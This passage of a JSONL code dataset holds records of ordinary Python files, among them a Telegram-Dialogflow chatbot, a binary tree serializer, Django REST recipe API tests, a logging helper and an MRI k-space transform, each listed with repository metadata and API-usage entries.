"name"}, {"api_name": "marketapp.models.Feature.objects.bulk_create", "line_number": 39, "usage_type": "call"}, {"api_name": "marketapp.models.Feature.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "marketapp.models.Feature", "line_number": 39, "usage_type": "name"}, {"api_name": "marketapp.models.Feature", "line_number": 40, "usage_type": "call"}, {"api_name": "marketapp.models.Feature", "line_number": 42, "usage_type": "name"}, {"api_name": "marketapp.models.Feature", "line_number": 43, "usage_type": "name"}, {"api_name": "marketapp.models.FeatureValue.objects.bulk_create", "line_number": 46, "usage_type": "call"}, {"api_name": "marketapp.models.FeatureValue.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 46, "usage_type": "name"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 47, "usage_type": "call"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 49, "usage_type": "name"}, {"api_name": "marketapp.models.FeatureValue.objects.bulk_create", "line_number": 50, "usage_type": "call"}, {"api_name": "marketapp.models.FeatureValue.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 50, "usage_type": "name"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 51, "usage_type": "call"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 53, "usage_type": "name"}, {"api_name": "marketapp.models.Product.objects.bulk_create", "line_number": 56, "usage_type": "call"}, {"api_name": "marketapp.models.Product.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "marketapp.models.Product", "line_number": 56, "usage_type": "name"}, {"api_name": "marketapp.models.Product", "line_number": 57, "usage_type": "call"}, {"api_name": "marketapp.models.Product", "line_number": 59, "usage_type": "name"}, {"api_name": "marketapp.models.Product.objects.bulk_create", "line_number": 65, "usage_type": "call"}, {"api_name": "marketapp.models.Product.objects", "line_number": 65, "usage_type": "attribute"}, {"api_name": "marketapp.models.Product", "line_number": 65, "usage_type": "name"}, {"api_name": "marketapp.models.Product", "line_number": 66, "usage_type": "call"}, {"api_name": "marketapp.models.Product", "line_number": 68, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 84, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 84, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 105, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 105, "usage_type": "name"}, {"api_name": "marketapp.models.Feature.objects.filter", "line_number": 109, "usage_type": "call"}, {"api_name": "marketapp.models.Feature.objects", "line_number": 109, "usage_type": "attribute"}, {"api_name": "marketapp.models.Feature", "line_number": 109, "usage_type": "name"}, {"api_name": "marketapp.models.FeatureValue.objects.filter", "line_number": 114, "usage_type": "call"}, {"api_name": "marketapp.models.FeatureValue.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "marketapp.models.FeatureValue", "line_number": 114, "usage_type": "name"}]}
{"seq_id": "2823046756", "text": "import json\nimport os\n\nimport apiai\nimport telebot\n\nbot_token = os.environ['ROWER_BOT_TOKEN']\ndialogflow_token = os.environ['DIALOGFLOW_TOKEN']\nbot = telebot.TeleBot(bot_token)\n#\n# trigger_words = ['@rozzercatspamerbot', 'rowerbot', 'бот', 'кот', 'пиво', 'привет', 'пока', 'дом', 'дим', 'греб',\n#                  'галера', 'эй ', 'говно', 'обед', 'еда', 'гор', 'кур', 'ху', 'жен', 'нет']\n\n\n@bot.message_handler(content_types=['text'])\ndef get_text_messages(message):\n    # if message.chat.type == 'supergroup':\n    #     # if in_one_of_trigger_words(message.text):\n    #         bot_say(message)\n    # else:\n    bot_say(message)\n\n\n# def in_one_of_trigger_words(text):\n#     for trigger_word in trigger_words:\n#         if trigger_word in text.lower():\n#             return True\n#     return False\n\n\ndef bot_say(message):\n    request = apiai.ApiAI(dialogflow_token).text_request()\n    request.lang = 'ru'\n    request.session_id = 'BatlabAIBot'\n    request.query = message.text\n    responseJson = json.loads(request.getresponse().read().decode('utf-8'))\n    response = responseJson['result']['fulfillment']['speech']\n    if response:\n        bot.send_message(chat_id=message.chat.id, text=response)\n    else:\n        bot.send_message(chat_id=message.chat.id, text='Я Вас не совсем понял!')\n\n\nbot.polling(none_stop=True, interval=0)\n", "repo_name": "Rozzerus/telegram_bot", "sub_path": "rozzer_telegram_bot/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1412, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "telebot.TeleBot", "line_number": 9, "usage_type": "call"}, {"api_name": "apiai.ApiAI", "line_number": 32, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "2343936242", "text": "\"\"\"\nGiven the root to a binary tree, implement serialize(root), which serializes\nthe tree into a string, and deserialize(s), which deserializes the string\nback into the tree.\n\"\"\"\n\nimport json\n\n\nclass TreeNode(object):\n    def __init__(self, value, left=None, right=None):\n        \"\"\"Create a new tree node\n\n        :param value: value to store in the node\n        :param left: left TreeNode. Default `None`\n        :param right: right TreeNode. Default `None`\n\n        \"\"\"\n        self.value = value\n        self.left = left\n        self.right = right\n\n    def __repr__(self):\n        \"\"\"Return a string representation of `self`\"\"\"\n        return '\\nValue: {}\\nLeft: [{}]\\nRight: [{}]'.format(\n            self.value, self.left, self.right)\n\n\ndef get_left_index(index):\n    \"\"\"Return index of this index's left child\n\n    :param index: `int` index of the node to get left child's index for\n\n    \"\"\"\n    return index * 2\n\n\ndef get_right_index(index):\n    \"\"\"Return index of this index's right child\n\n    :param index: `int` index of the node to get right child's index for\n\n    \"\"\"\n    return index * 2 + 1\n\n\ndef serialize(node, index=1, tree_dict=None):\n    \"\"\"Return a serialized tree\n\n    We serialize a tree by keying a node's value by its index in the \"array\n    representaion\" the tree, then recursively adding its children at their\n    indices, if they exist.\n\n    After all nodes have been added to the `tree_dict`, the result is\n    serialized as JSON to get a string representation and returned.\n\n    :param node: `TreeNode` to add to the `tree_dict`\n    :param index: `int` index of node, used to create key and calculate\n        indices of children. Defaults to 1 (the root)\n    :param tree_dict: `dict` of tree, passed to child serializer function calls\n\n    \"\"\"\n    # Short-circuit if no node to add to the tree\n    if node is None:\n        return\n\n    # Create the `tree_dict` if needed\n    tree_dict = tree_dict or {}\n\n    # Add the node value to the `tree_dict`\n    tree_dict[index] = node.value\n\n    # Add the node's children to the tree\n    serialize(node.left, get_left_index(index), tree_dict)\n    serialize(node.right, get_right_index(index), tree_dict)\n\n    # Serialize if at the root\n    return json.dumps(tree_dict) if index == 1 else tree_dict\n\n\ndef deserialize(tree, index=1):\n    \"\"\"Return a deserialized tree\n\n    We ingest a serialized version of the tree `dict` representaion,\n    deserialize it, then recurseivly create its sub-trees, turning them back\n    into nodes.\n\n    :param tree: `str` or `dict` representation of the tree\n    :param index: `int` index of the node being deserialized.\n        Defaults to 1 (the root)\n\n    \"\"\"\n    # Deserialize the tree if needed\n    if type(tree) == str:\n        tree = json.loads(tree)\n\n    # Get this node's value\n    value = tree.get(str(index))\n\n    # Return `None` if no node is present\n    if value is None:\n        return None\n\n    # Calculate the indices for this node's children\n    left_index = get_left_index(index)\n    right_index = get_right_index(index)\n\n    # Create children recursively\n    left_node = deserialize(tree, left_index)\n    right_node = deserialize(tree, right_index)\n\n    # Return a new node\n    return TreeNode(value, left_node, right_node)\n\n\nif __name__ == '__main__':\n    # Bulid the test tree\n    left_left = TreeNode('four')\n    left_right = TreeNode('five')\n    right_left = TreeNode('six')\n    right_right = TreeNode('seven')\n    left = TreeNode('two', left_left, left_right)\n    right = TreeNode('three', right_left, right_right)\n    root = TreeNode('one', left, right)\n\n    # Serialize the tree\n    serialized_tree = serialize(root)\n\n    # Print the serialized and re-serialized tree, to show deserializing works\n    print(serialized_tree)\n    print(serialize(deserialize(serialized_tree)))\n    print(deserialize(serialized_tree))\n", "repo_name": "ripleyaffect/daily", "sub_path": "003_serialize_tree.py", "file_name": "003_serialize_tree.py", "file_ext": "py", "file_size_in_byte": 3843, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.dumps", "line_number": 78, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "39479292154", "text": "import tempfile\nimport os\n\n# PIL is the Pillow library.\nfrom PIL import Image\n\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import Recipe, Tag, Ingredient\n\nfrom recipe.serializers import RecipeSerializer, RecipeDetailSerializer\n\n\nRECIPES_URL = reverse('recipe:recipe-list')\n# /api/recipe/recipes  What the RECIPES_URL might look like\n\n\ndef image_upload_url(recipe_id):\n    # Return URL for recipe image upload\n    return reverse('recipe:recipe-upload-image', args=[recipe_id])\n\n\ndef detail_url(recipe_id):\n    # return recipe detail URL\n    # /api/recipe/recipes/2/ The 2 might be what is passed into the recipe_id\n    return reverse('recipe:recipe-detail', args=[recipe_id])\n\n\ndef sample_tag(user, name='Main Course'):\n    # Create and return a sample tag\n    return Tag.objects.create(user=user, name=name)\n\n\ndef sample_ingredient(user, name='Vanilla'):\n    # Create and return a sample ingredient\n    return Ingredient.objects.create(user=user, name=name)\n\n\ndef sample_recipe(user, **params):\n    # Create and return a sample recipe\n    defaults = {\n        'title': 'Sample Recipe',\n        'time_minutes': 10,\n        'price': 5.00\n    }\n    # Python's update function accepts a dictionary object and will take\n    # whichever keys are in the dictionary and update them. If they don't\n    # exist, it will create them.\n    defaults.update(params)\n\n    return Recipe.objects.create(user=user, **defaults)\n\n\nclass PublicRecipeApiTests(TestCase):\n    # Test unauthenticated API access\n\n    def setUp(self):\n        self.client = APIClient()\n\n    def test_auth_required(self):\n        # Test that authentication is required\n        res = self.client.get(RECIPES_URL)\n\n        self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateRecipeApiTests(TestCase):\n    # Test unauthenticated recipe API access\n\n    def setUp(self):\n        self.client = APIClient()\n        self.user = get_user_model().objects.create_user(\n            'test@test.com',\n            'testpass'\n        )\n        self.client.force_authenticate(self.user)\n\n    def test_retrieve_recipes(self):\n        # Test retrieving a list of recipes\n        sample_recipe(user=self.user)\n        sample_recipe(user=self.user)\n\n        res = self.client.get(RECIPES_URL)\n\n        recipes = Recipe.objects.all().order_by('-id')\n        serializer = RecipeSerializer(recipes, many=True)\n\n        self.assertEqual(res.status_code, status.HTTP_200_OK)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_recipes_limited_to_user(self):\n        # Test retrieving recipes for user\n        user2 = get_user_model().objects.create_user(\n            'other@test.com',\n            'password123'\n        )\n        sample_recipe(user=user2)\n        sample_recipe(user=self.user)\n\n        res = self.client.get(RECIPES_URL)\n\n        recipes = Recipe.objects.filter(user=self.user)\n        serializer = RecipeSerializer(recipes, many=True)\n        self.assertEqual(res.status_code, status.HTTP_200_OK)\n        self.assertEqual(len(res.data), 1)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_view_recipe_detail(self):\n        # Test viewing a recipe detail\n        recipe = sample_recipe(user=self.user)\n        # .add is how you an item on a ManyToManyField\n        recipe.tags.add(sample_tag(user=self.user))\n        recipe.ingredients.add(sample_ingredient(user=self.user))\n\n        url = detail_url(recipe.id)\n        res = self.client.get(url)\n\n        serializer = RecipeDetailSerializer(recipe)\n        self.assertEqual(res.data, serializer.data)\n\n    def test_create_basic_recipe(self):\n        # Test creating recipe\n        payload = {\n            'title': 'Ddeokkbokki',\n            'time_minutes': 30,\n            'price': 5.00\n        }\n        res = self.client.post(RECIPES_URL, payload)\n\n        # HTTP 201 is the standard HTTP code for creating objects in an API.\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n\n        # When you create an object in the Django REST framework the default\n        # behavior is that it will return a dictionary containing the created\n        # object. Thus res.data['id'] will retrieve the id of the object.\n        recipe = Recipe.objects.get(id=res.data['id'])\n\n        for key in payload.keys():\n            # looping through keys in the dictionary\n            # getattr is a Python standard library function that allows you\n            # to retrieve an attribute from an object by passing in a variable\n            self.assertEqual(payload[key], getattr(recipe, key))\n\n    def test_create_recipe_with_tags(self):\n        # Test creating a recipe with tag\n        tag1 = sample_tag(user=self.user, name='Vegan')\n        tag2 = sample_tag(user=self.user, name='Desert')\n        payload = {\n            'title': 'Key Lime Pie',\n            'tags': [tag1.id, tag2.id],\n            'time_minutes': 60,\n            'price': 20.00\n        }\n        res = self.client.post(RECIPES_URL, payload)\n\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n        recipe = Recipe.objects.get(id=res.data['id'])\n        # Due to the fact that we have a ManyToManyField assigned to our\n        # tags (from models.py), this will return all of the tags that are\n        # assigned to our recipe object as a queryset.\n        tags = recipe.tags.all()\n        self.assertEqual(tags.count(), 2)\n        self.assertIn(tag1, tags)\n        self.assertIn(tag2, tags)\n\n    def test_create_recipe_with_ingredients(self):\n        # Test creating recipe with ingredients\n        ingredient1 = sample_ingredient(user=self.user, name='Abalone')\n        ingredient2 = sample_ingredient(user=self.user, name='Garlic')\n        payload = {\n            'title': 'Feast of the Sea',\n            'ingredients': [ingredient1.id, ingredient2.id],\n            'time_minutes': 30,\n            'price': 50.00\n        }\n        res = self.client.post(RECIPES_URL, payload)\n        self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n        recipe = Recipe.objects.get(id=res.data['id'])\n        ingredients = recipe.ingredients.all()\n        self.assertEqual(ingredients.count(), 2)\n        self.assertIn(ingredient1, ingredients)\n        self.assertIn(ingredient2, ingredients)\n\n    def test_partial_update_recipe(self):\n        # Test updating a recipe with 'patch'\n        # 'patch' - is used to update the fields in a payload. It will only\n        # change the fields that are provided. Ommitted ones will not change.\n        recipe = sample_recipe(user=self.user)\n        recipe.tags.add(sample_tag(user=self.user))\n        new_tag = sample_tag(user=self.user, name='Curry')\n\n        payload = {'title': 'Chicken Tikka', 'tags': [new_tag.id]}\n        url = detail_url(recipe.id)\n        self.client.patch(url, payload)\n\n        recipe.refresh_from_db()\n        self.assertEqual(recipe.title, payload['title'])\n        tags = recipe.tags.all()\n        # both tags.count() and len(tags) work\n        self.assertEqual(len(tags), 1)\n        self.assertIn(new_tag, tags)\n\n    def test_full_update_recipe(self):\n        # Test updating a recipe with 'put'\n        # 'put'- will replace the full object that we're updating. If you\n        # exclude any fields in the payload those fields will actually\n        # be removed from the object that you're updating.\n        recipe = sample_recipe(user=self.user)\n        recipe.tags.add(sample_tag(user=self.user))\n        payload = {\n            'title': 'Chicken Schwarma',\n            'time_minutes': 20,\n            'price': 6.00\n        }\n        url = detail_url(recipe.id)\n        self.client.put(url, payload)\n\n        recipe.refresh_from_db()\n        self.assertEqual(recipe.title, payload['title'])\n        self.assertEqual(recipe.time_minutes, payload['time_minutes'])\n        self.assertEqual(recipe.price, payload['price'])\n\n        tags = recipe.tags.all()\n        self.assertEqual(len(tags), 0)\n\n\nclass RecipeImageUploadTests(TestCase):\n\n    def setUp(self):\n        self.client = APIClient()\n        self.user = get_user_model().objects.create_user(\n            'user@test.com',\n            'testpass'\n        )\n        self.client.force_authenticate(self.user)\n        self.recipe = sample_recipe(user=self.user)\n\n    def tearDown(self):\n        # function to tear down and clear test files from our object.\n        self.recipe.image.delete()\n\n    def test_upload_image_to_recipe(self):\n        # Test uploading an image to recipe\n        url = image_upload_url(self.recipe.id)\n        with tempfile.NamedTemporaryFile(suffix='.jpg') as ntf:\n            # creates a temporary file on the system that we can then\n            # write to and then after we exit the context manager (with)\n            # it will automatically remove that file.\n            img = Image.new('RGB', (10, 10))\n            img.save(ntf, format='JPEG')\n            # The way that python reads files. Because we saved the file\n            # the seeking would be at the end of the file and we would\n            # just have a blank. We use seek(0) to set it to the beginning\n            # of the file again.\n            ntf.seek(0)\n            # We need the multipart format because we need to tell Django\n            # that we want to make a multipart form request which means a\n            # a form that consists of data. By default it would be a form\n            # that contains a JSON object.\n            res = self.client.post(url, {'image': ntf}, format='multipart')\n\n        self.recipe.refresh_from_db()\n        self.assertEqual(res.status_code, status.HTTP_200_OK)\n        # check that image is in the response and that the path is saved\n        self.assertIn('image', res.data)\n        self.assertTrue(os.path.exists(self.recipe.image.path))\n\n    def test_upload_image_bad_request(self):\n        # Test uploading an invalid image\n        url = image_upload_url(self.recipe.id)\n        res = self.client.post(url, {'image': 'notimage'}, format='multipart')\n\n        self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n    def test_filter_recipes_by_tags(self):\n        # Test returning recipes with specific tags\n        recipe1 = sample_recipe(user=self.user, title='Thai Veggie Curry')\n        recipe2 = sample_recipe(user=self.user, title='Yummy Chicken')\n        tag1 = sample_tag(user=self.user, name='Vegan')\n        tag2 = sample_tag(user=self.user, name='Meat')\n        recipe1.tags.add(tag1)\n        recipe2.tags.add(tag2)\n        recipe3 = sample_recipe(user=self.user, title='Fish and Chips')\n\n        res = self.client.get(\n            RECIPES_URL,\n            {'tags': f'{tag1.id},{tag2.id}'}\n        )\n\n        serializer1 = RecipeSerializer(recipe1)\n        serializer2 = RecipeSerializer(recipe2)\n        serializer3 = RecipeSerializer(recipe3)\n        self.assertIn(serializer1.data, res.data)\n        self.assertIn(serializer2.data, res.data)\n        self.assertNotIn(serializer3.data, res.data)\n\n    def test_filter_recipes_by_ingredients(self):\n        # Test returning recipes with specific ingredients\n        recipe1 = sample_recipe(user=self.user, title='Sloppy Joe')\n        recipe2 = sample_recipe(user=self.user, title='Double Cooked Pork')\n        ingredient1 = sample_ingredient(user=self.user, name='Ground Beef')\n        ingredient2 = sample_ingredient(user=self.user, name='Pork')\n        recipe1.ingredients.add(ingredient1)\n        recipe2.ingredients.add(ingredient2)\n        recipe3 = sample_recipe(user=self.user, title='T-Bone Steak')\n\n        res = self.client.get(\n            RECIPES_URL,\n            {'ingredients': f'{ingredient1.id},{ingredient2.id}'}\n        )\n\n        serializer1 = RecipeSerializer(recipe1)\n        serializer2 = RecipeSerializer(recipe2)\n        serializer3 = RecipeSerializer(recipe3)\n        self.assertIn(serializer1.data, res.data)\n        self.assertIn(serializer2.data, res.data)\n        self.assertNotIn(serializer3.data, res.data)\n", "repo_name": "jackyng88/Recipe-App-REST-API", "sub_path": "app/recipe/tests/test_recipe_api.py", "file_name": "test_recipe_api.py", "file_ext": "py", "file_size_in_byte": 12070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.reverse", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 31, "usage_type": "call"}, {"api_name": "core.models.Tag.objects.create", "line_number": 36, "usage_type": "call"}, {"api_name": "core.models.Tag.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "core.models.Tag", "line_number": 36, "usage_type": "name"}, {"api_name": "core.models.Ingredient.objects.create", "line_number": 41, "usage_type": "call"}, {"api_name": "core.models.Ingredient.objects", "line_number": 41, "usage_type": "attribute"}, {"api_name": "core.models.Ingredient", "line_number": 41, "usage_type": "name"}, {"api_name": "core.models.Recipe.objects.create", "line_number": 56, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 56, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 59, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 63, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_401_UNAUTHORIZED", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 69, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 72, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 76, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 77, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects.all", "line_number": 90, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 90, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 90, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 91, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 93, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 93, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 98, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects.filter", "line_number": 107, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 107, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 108, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 109, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 115, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.add", "line_number": 117, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 117, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 117, "usage_type": "name"}, {"api_name": "recipe.serializers.ingredients.add", "line_number": 118, "usage_type": "call"}, {"api_name": "recipe.serializers.ingredients", "line_number": 118, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 118, "usage_type": "name"}, {"api_name": "recipe.serializers.id", "line_number": 120, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 120, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeDetailSerializer", "line_number": 123, "usage_type": "call"}, {"api_name": "recipe.serializers", "line_number": 123, "usage_type": "argument"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 136, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 136, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 141, "usage_type": "name"}, {"api_name": "core.models.Recipe.objects.get", "line_number": 141, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 141, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 141, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 147, "usage_type": "argument"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 161, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 161, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 162, "usage_type": "name"}, {"api_name": "core.models.Recipe.objects.get", "line_number": 162, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 162, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 162, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.all", "line_number": 166, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 166, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 166, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 182, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 182, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 183, "usage_type": "name"}, {"api_name": "core.models.Recipe.objects.get", "line_number": 183, "usage_type": "call"}, {"api_name": "core.models.Recipe.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "core.models.Recipe", "line_number": 183, "usage_type": "name"}, {"api_name": "recipe.serializers.ingredients.all", "line_number": 184, "usage_type": "call"}, {"api_name": "recipe.serializers.ingredients", "line_number": 184, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 184, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 193, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.add", "line_number": 194, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 194, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 194, "usage_type": "name"}, {"api_name": "recipe.serializers.id", "line_number": 198, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 198, "usage_type": "name"}, {"api_name": "recipe.serializers.refresh_from_db", "line_number": 201, "usage_type": "call"}, {"api_name": "recipe.serializers", "line_number": 201, "usage_type": "name"}, {"api_name": "recipe.serializers.title", "line_number": 202, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 202, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.all", "line_number": 203, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 203, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 203, "usage_type": "name"}, {"api_name": "recipe.serializers", "line_number": 213, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.add", "line_number": 214, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 214, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 214, "usage_type": "name"}, {"api_name": "recipe.serializers.id", "line_number": 220, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 220, "usage_type": "name"}, {"api_name": "recipe.serializers.refresh_from_db", "line_number": 223, "usage_type": "call"}, {"api_name": "recipe.serializers", "line_number": 223, "usage_type": "name"}, {"api_name": "recipe.serializers.title", "line_number": 224, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 224, "usage_type": "name"}, {"api_name": "recipe.serializers.time_minutes", "line_number": 225, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 225, "usage_type": "name"}, {"api_name": "recipe.serializers.price", "line_number": 226, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 226, "usage_type": "name"}, {"api_name": "recipe.serializers.tags.all", "line_number": 228, "usage_type": "call"}, {"api_name": "recipe.serializers.tags", "line_number": 228, "usage_type": "attribute"}, {"api_name": "recipe.serializers", "line_number": 228, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 232, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 235, "usage_type": "call"}, {"api_name": "django.contrib.auth.get_user_model", "line_number": 236, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 250, "usage_type": "call"}, {"api_name": "PIL.Image.new", "line_number": 254, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 254, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 268, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 268, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 278, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 278, "usage_type": "name"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 295, "usage_type": "call"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 296, "usage_type": "call"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 297, "usage_type": "call"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 317, "usage_type": "call"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 318, "usage_type": "call"}, {"api_name": "recipe.serializers.RecipeSerializer", "line_number": 319, "usage_type": "call"}]}
{"seq_id": "9715956488", "text": "\"\"\"For generating logs, first we have import the logging package, call the basicConfig funtion and pass the filename,\nformat and datefmt arguments\n    format=defines how the log will be formatted\n    datefmt = we are customizing the date format for asctime\n    force=True, force: If this keyword argument is specified as true, any existing handlers attached\n    to the root logger are removed and closed, before carrying out the configuration as specified\n    by the other arguments.\nin order to set the fields, use getLogger function, it returns the logger object\"\"\"\n\nimport logging\n\n\nclass LogGen:\n    @staticmethod\n    def generate_logs():\n        logging.basicConfig(filename=\".\\\\Logs\\\\automation.log\", format=\"%(asctime)s: %(levelname)s: %(message)s\",\n                            datefmt='%m/%d/%Y %I:%M:%S %p', force=True)\n        logger = logging.getLogger()\n        logger.setLevel(logging.INFO)\n        return logger\n", "repo_name": "MageshwaranB/SeleniumPythonProject", "sub_path": "src/utilities/custom_logs.py", "file_name": "custom_logs.py", "file_ext": "py", "file_size_in_byte": 926, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.basicConfig", "line_number": 16, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 19, "usage_type": "attribute"}]}
{"seq_id": "33403120085", "text": "from data import transforms\n\n\nclass DataTransform:\n    def __init__(self, resolution) -> None:\n        \"\"\"\n        Args:\n            resolution (int): Resolution of the image. (320 for knee, 384 for brain)\n        \"\"\"\n        self.resolution = resolution\n\n    def __call__(self, k_space, mask, target, attrs, f_name, slice):\n        \"\"\"\n        Args:\n            kspace (numpy.array): Input k-space of shape (num_coils, rows, cols, 2) for multi-coil\n                data or (rows, cols, 2) for single coil data.\n            mask (numpy.array): Mask from the test dataset\n            target (numpy.array): Target image\n            attrs (dict): Acquisition related information stored in the HDF5 object.\n            fname (str): File name\n            slice (int): Serial number of the slice.\n        Returns:\n            (tuple): tuple containing:\n                k_space (torch.Tensor): k-space(resolution x resolution x 2)\n                target (torch.Tensor): Target image converted to a torch Tensor.\n                fname (str): File name\n                slice (int): Serial number of the slice.\n        \"\"\"\n        k_space = transforms.to_tensor(k_space)\n        full_image = transforms.ifft2(k_space)\n        cropped_image = transforms.complex_center_crop(full_image, (self.resolution, self.resolution))\n        k_space = transforms.fft2(cropped_image)\n        # Normalize 